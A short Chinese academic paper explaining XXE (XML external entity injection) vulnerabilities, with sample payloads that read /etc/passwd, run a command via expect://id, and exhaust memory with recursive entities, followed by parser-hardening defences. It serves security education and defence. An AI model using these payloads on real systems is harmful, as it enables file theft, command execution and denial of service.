應(yīng)宗浩 金海
摘要:XXE漏洞是近年來產(chǎn)生的影響比較大的漏洞之一,能夠任意讀取文件,遠(yuǎn)程執(zhí)行命令,造成拒絕服務(wù)攻擊等。該文通過xxe漏洞背景介紹,給出相應(yīng)的攻擊手段,并提出防御策略,以期能夠引起人們對(duì)xxe漏洞的重視,并加強(qiáng)相關(guān)方面的安全開發(fā)工作。
關(guān)鍵詞:XXE;漏洞;攻擊手段;防御策略
XML是用于標(biāo)記電子文件使其具有結(jié)構(gòu)性的標(biāo)記語言,允許用戶對(duì)自己的標(biāo)記語言進(jìn)行定義。Web端,移動(dòng)端,云端等客戶端技術(shù)使用XML向業(yè)務(wù)應(yīng)用程序發(fā)送消息。為了使應(yīng)用程序使用自定義的XML消息,應(yīng)用程序必須去解析XML文檔并檢查格式是否正確。
較早的或配置錯(cuò)誤的XML處理器無法準(zhǔn)確評(píng)估XML文件中的外部實(shí)體引用。攻擊者可以利用外部實(shí)體發(fā)動(dòng)攻擊。此種攻擊行為稱之為XXE(XML Enternal Entity Injection),即XML外部實(shí)體注入攻擊。
1 XML基礎(chǔ)
XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
以下是一個(gè)典型xml文檔
<?xml version="1.0"?> <!—xml聲明—>
<!DOCTYPE note [<!—DTD文檔類型定義,定義此文檔是 note 類型的文檔>
<!ELEMENT note (head,body)><!定義note元素有四個(gè)元素>
<!ELEMENT head (#PCDATA)><!定義head元素為”#PCDATA”類型>
<!ELEMENT body (#PCDATA)><!定義body元素為”#PCDATA”類型>]>
DTD(文檔類型定義)的作用是定義 XML 文檔的合法構(gòu)建模塊。DTD 可以在 XML 文檔內(nèi)聲明,也可以外部引用。XXE漏洞關(guān)注的是外部實(shí)體引用,外部實(shí)體引用的代碼如下:
<!ENTITY 實(shí)體名稱 SYSTEM "URI">
2 xxe典型攻擊手段
2.1 任意讀取文件
<!DOCTYPE foo [<!ENTITY mytest SYSTEMfile:///etc/passwd>]>
代碼可以讀取/etc/passwd,file部分可以替換任意文件路徑,使得攻擊者能夠任意讀取文件。
2.2 執(zhí)行系統(tǒng)命令
<!DOCTYPEmytest [<!ELEMENT name ANY >
<!ENTITY mytest SYSTEM "expect://id" >]>
該代碼能夠在服務(wù)器上執(zhí)行“id”命令,”id”命令可以替換為其他系統(tǒng)命令,通過執(zhí)行系統(tǒng)命令.
2.3 拒絕服務(wù)攻擊
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
&a4;
該代碼通過創(chuàng)建一項(xiàng)遞歸的 XML 定義,構(gòu)造惡意的XML實(shí)體文件耗盡可用內(nèi)存,造成拒絕服務(wù)攻擊。
3 XXE防御策略
大部分XML解析器無法正確解析xxe攻擊中的實(shí)體。因此可以配置XML處理器去使用本地靜態(tài)的DTD,不允許XML中含有自聲明的DTD??梢允褂瞄_發(fā)語言提供的禁用外部實(shí)體的方法,從而避免基于XXE漏洞的攻擊。
另外,升級(jí)libxml版本至2.9.0,libxml 2.9.0 以后默認(rèn)不解析外部實(shí)體,也可以通過升級(jí)libxml版本進(jìn)行xxe防御。
參考文獻(xiàn):
[1]開放式Web應(yīng)用程序安全項(xiàng)目.OWASP Top 10 2017[EB/OL]. http://www.owasp.org.cn/owaspproject/OWASPTop102017v1.3.pdf,20171201.
[2]Mark4z5. 未知攻焉知防——XXE漏洞攻防[EB/OL]. https://security.tencent.com/index.php/blog/msg/69,20140923.
[3]丁躍潮,張濤.XML實(shí)用教程[M].北京:北京大學(xué)出版社,2006.
[4]ChristopherSpth,ChristianMainka,VladislavMladenov.DTD/XXEcheatsheat.webinsecurity.blogspot.de/2016/03/xxecheatsheet.html.20160303.
作者簡(jiǎn)介:應(yīng)宗浩(1997),男,浙江溫州人,本科在讀,研究方向:信息安全,物聯(lián)網(wǎng)安全。